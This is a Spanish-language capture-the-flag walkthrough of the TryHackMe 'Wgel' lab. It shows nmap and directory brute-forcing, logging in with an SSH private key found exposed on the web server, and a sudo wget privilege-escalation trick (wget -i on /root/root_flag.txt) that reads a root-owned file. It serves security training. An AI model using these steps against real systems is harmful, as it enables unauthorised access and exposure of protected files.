Wgel


December 28, 20223 minutes

https://tryhackme.com/room/wgelctf

IP Atacante = 10.10.10.10

IP víctima = 10.10.176.77

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.176.77
PING 10.10.176.77 (10.10.176.77) 56(84) bytes of data.
64 bytes from 10.10.176.77: icmp_seq=1 ttl=63 time=108 ms

--- 10.10.176.77 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.118/108.118/108.118/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.176.77 -oG allPort
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.176.77
   5[*] Open ports: 22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,80 -sC -sV 10.10.176.77 -oN target

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94961b66801b7648682d14b59a01aaaa (RSA)
|   256 18f710cc5f40f6cf92f86916e248f438 (ECDSA)
|_  256 b90b972e459bf32a4b11c7831033e0ce (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

En el puerto 80 está corriendo una web, con el whatweb podemos ver un poco de información sobre la web.

❯ whatweb 10.10.176.77
http://10.10.176.77 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.176.77], Title[Apache2 Ubuntu Default Page: It works]

Con ctrl + u podemos ver el código de la web en el cual se ve una línea comentada con un mensaje: <!-- Jessie don't forget to udate the webiste --> Con esto podemos intuir que hay un usuario llamado Jessie

wfuzz y gobuster (subdirectorios)

Con wfuzz vamos a buscar subdirectorios mediante un diccionario ubicado en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt con el siguiente comando

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.176.77/FUZZ

Nos reporta el subdirectorio /sitemap en el cual hay una web con muchos apartados. Con wfuzz otra vez, vamos a buscar subdirectorios sobre el directorio sitemap, mediante el mismo comando, pero cambiando la ubicación: de 10.10.176.77/FUZZ a 10.10.176.77/sitemap/FUZZ. No ha encontrado nada, probamos con gobuster y otro diccionario el cual está ubicado en /usr/share/wordlists/dirb/common.txt.

gobuster dir -u http://10.10.176.77/sitemap/ -w /usr/share/wordlists/dirb/common.txt

Infiltración

Ahora nos reporta varios subdirectorios, entre ellos un .ssh, el cual contiene una rsa private key

Para conectarnos por ssh la vamos a guardar en un archivo llamado id_rsa, y nos vamos a conectar con el usuario Jessie que encontramos anteriormente y la llave que encontramos

chmod 600 id_rsa
ssh -i id_rsa jessie@10.10.176.77

User Flag

Podemos ver la flag en /home/jessie/Documents/user_flag.txt.

Root Flag

Con un sudo -l podemos ver que podemos ejecutar wget como root sin proporcionar contraseña. En https://gtfobins.github.io/gtfobins/wget/#shell Podemos ver que hay una forma de leer archivos aprovechándonos del wget . Intuyendo que la flag está en /root/root_flag.txt, con los siguientes comandos deberíamos de poder leerlo

LFILE=/root/root_flag.txt
wget -i $LFILE

Ya tenemos la flag!!!